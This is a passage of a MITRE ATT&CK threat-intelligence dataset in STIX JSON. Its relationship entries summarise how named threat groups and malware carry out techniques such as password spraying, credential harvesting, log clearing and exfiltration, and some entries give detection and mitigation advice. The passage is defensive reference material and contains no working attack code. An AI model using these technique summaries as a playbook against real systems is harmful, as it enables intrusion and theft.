March 25, 2022.", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}, {"source_name": "MSRC Nobelium June 2021", "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.", "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"}, {"source_name": "NCSC et al APT29 2024", "description": "UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.", "url": "https://www.ic3.gov/Media/News/2024/240226.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-06T19:14:12.550Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has conducted brute force password spray attacks.(Citation: MSRC Nobelium June 2021)(Citation: MSTIC Nobelium Oct 2021)(Citation: NCSC et al APT29 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6c4c4e5d-0641-4441-a5aa-d27f3362811f", "created": "2021-12-27T16:53:14.037Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has crafted and sent victims malicious attachments to gain initial access.(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c4fc721-fe3b-4e0c-8fe6-2c8c07ac0df5", "type": "relationship", "created": "2021-04-14T15:25:06.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA EB Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}], "modified": "2021-04-14T15:25:06.099Z", "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can use [cmd](https://attack.mitre.org/software/S0106) to execute commands on a victim\u2019s machine.(Citation: CISA EB Aug 2020)", "relationship_type": "uses", "source_ref": "malware--e928333f-f3df-4039-9b8b-556c2add0e42", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "fsecure NanHaiShu July 2016", "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}], "modified": "2020-03-17T01:53:17.430Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) launches a script to delete their original decoy file to cover tracks.(Citation: fsecure NanHaiShu July 2016)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c56201e-f348-43ea-8b51-8230d2bf0970", "type": "relationship", "created": "2021-04-06T12:22:23.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-06T12:22:23.744Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has attempted to brute force hosts over SSH.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6c56fdb0-d6cc-4a25-aa19-7191410704ef", "created": "2022-03-25T19:30:14.793Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to receive a command parameter to sleep prior to carrying out destructive actions on a targeted host.(Citation: Crowdstrike DriveSlayer February 2022)", "modified": "2022-04-10T16:24:00.046Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c692a16-22b8-42bb-9a6b-3c25a2714cf5", "type": "relationship", "created": "2020-06-12T16:15:04.920Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-12T16:15:04.920Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect data from network drives and stage it for exfiltration.(Citation: Eset Ramsay May 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c6a8e6f-3340-4cd7-8abb-c39c408440f1", "type": "relationship", "created": "2021-01-07T20:50:42.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intrinsec Egregor Nov 2020", "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}], "modified": "2021-03-22T22:05:59.707Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has masqueraded the svchost.exe process to exfiltrate data.(Citation: Intrinsec Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatExpert Agent.btz", "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}], "modified": "2020-03-11T17:45:18.411Z", "description": "[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.(Citation: ThreatExpert Agent.btz)", "relationship_type": "uses", "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c7285ce-7ae2-4d85-a629-4f6eab659fb1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.finfisher.com/FinFisher/index.html", "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", "source_name": "FinFisher Citation"}, {"url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", "source_name": "Microsoft FinFisher March 2018"}], "modified": "2020-02-18T03:45:39.876Z", "description": "[FinFisher](https://attack.mitre.org/software/S0182) clears the system event logs using <code> OpenEventLog/ClearEventLog APIs </code>.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c749bf1-12d2-475c-9f14-fe0f0892286a", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file. Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c75071d-6997-4d41-88fa-bcd8d7b4cb76", "type": "relationship", "created": "2021-06-21T14:26:11.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-21T14:44:15.452Z", "description": "[Ecipekac](https://attack.mitre.org/software/S0624) can use XOR, AES, and DES to encrypt loader shellcode.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c7965c9-6ea5-4693-889d-25c1c47b2698", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2020-02-11T16:28:40.281Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to execute \u201cnet user\u201d commands and create local system accounts.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c7c4191-2d75-4ce8-b937-b9abb77d7b5b", "type": "relationship", "created": "2019-04-19T15:30:36.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "source_name": "US-CERT HOPLIGHT Apr 2019"}], "modified": "2020-03-25T16:02:26.468Z", "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the capability to harvest credentials and passwords from the SAM database.(Citation: US-CERT HOPLIGHT Apr 2019)\t", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c816b9e-ec4e-417d-9427-b03c271a0c1c", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for unexpected deletion of windows registry keys that that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "source_ref": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c89f28c-963b-44ef-8dda-5916aa17b7e9", "type": "relationship", "created": "2021-05-26T20:17:53.337Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2021-05-26T20:17:53.337Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) obtained and used a modified variant of [Imminent Monitor](https://attack.mitre.org/software/S0434).(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c8c3730-d8a7-4a27-a200-b745038dc8a5", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). 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(2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2020-03-18T14:37:20.371Z", "description": "[Machete](https://attack.mitre.org/software/S0409) renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks.(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:37:09.747Z", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has registered domains to mimic file sharing, government, defense, and research websites for use in targeted campaigns.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Talos Transparent Tribe May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6c9c0332-bdd8-4692-af01-cc7ebc486a41", "created": "2024-03-13T21:43:56.980Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Security Mispadu Facebook Ads 2019", "description": "ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.", "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}, {"source_name": "Metabase Q Mispadu Trojan 2023", "description": "Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. 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(2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. 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(Citation: Microsoft Credential Guard April 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6caff042-f300-421c-b6c8-6c8dd6d69f1b", "type": "relationship", "created": "2020-10-21T16:25:56.742Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}], "modified": "2020-10-21T22:48:31.298Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.(Citation: FireEye Metamorfo Apr 2018) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6cb293a0-aa2b-4919-b1ac-a801608aa4b5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}, {"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}], "modified": "2020-03-17T02:06:30.265Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses HTTP for C2 communications.(Citation: Unit 42 OopsIE! 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Retrieved March 25, 2019.", "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"}, {"source_name": "Symantec Emotet Jul 2018", "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor"}, {"source_name": "US-CERT Emotet Jul 2018", "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T17:09:04.027Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation.(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6cb50446-4ff7-49b7-a0e3-a7a9e7a1aaf0", "created": "2022-03-30T14:26:51.847Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. 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Retrieved July 16, 2020."}], "modified": "2020-08-18T13:13:31.794Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can register itself for execution and persistence via the Control Panel.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6cf0d062-e441-48ca-b675-2f01ae333b74", "type": "relationship", "created": "2019-09-13T17:02:27.522Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). 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(2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}], "modified": "2020-03-17T00:54:56.954Z", "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim username and sends it to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6cf502c8-58c4-41d5-abb1-f97492b1341c", "type": "relationship", "created": "2020-12-03T21:24:20.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture HyperStack October 2020", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "description": "Accenture. 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Retrieved December 2, 2020."}], "modified": "2020-12-04T15:04:01.898Z", "description": "[HyperStack](https://attack.mitre.org/software/S0537) can use Windows API's <code>ConnectNamedPipe</code> and <code>WNetAddConnection2</code> to detect incoming connections and connect to remote shares.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6cfb2db1-9c74-42d3-9c64-e211ad8d1b45", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). 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Retrieved December 16, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"}, {"source_name": "Microsoft SendNotifyMessage function", "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"}, {"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. 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Retrieved November 7, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf", "source_name": "Kaspersky Turla Aug 2014"}], "modified": "2019-07-26T16:10:42.686Z", "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>net use</code>, <code>net session</code>, and <code>netstat</code> commands to gather information on network connections.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)", "relationship_type": "uses", 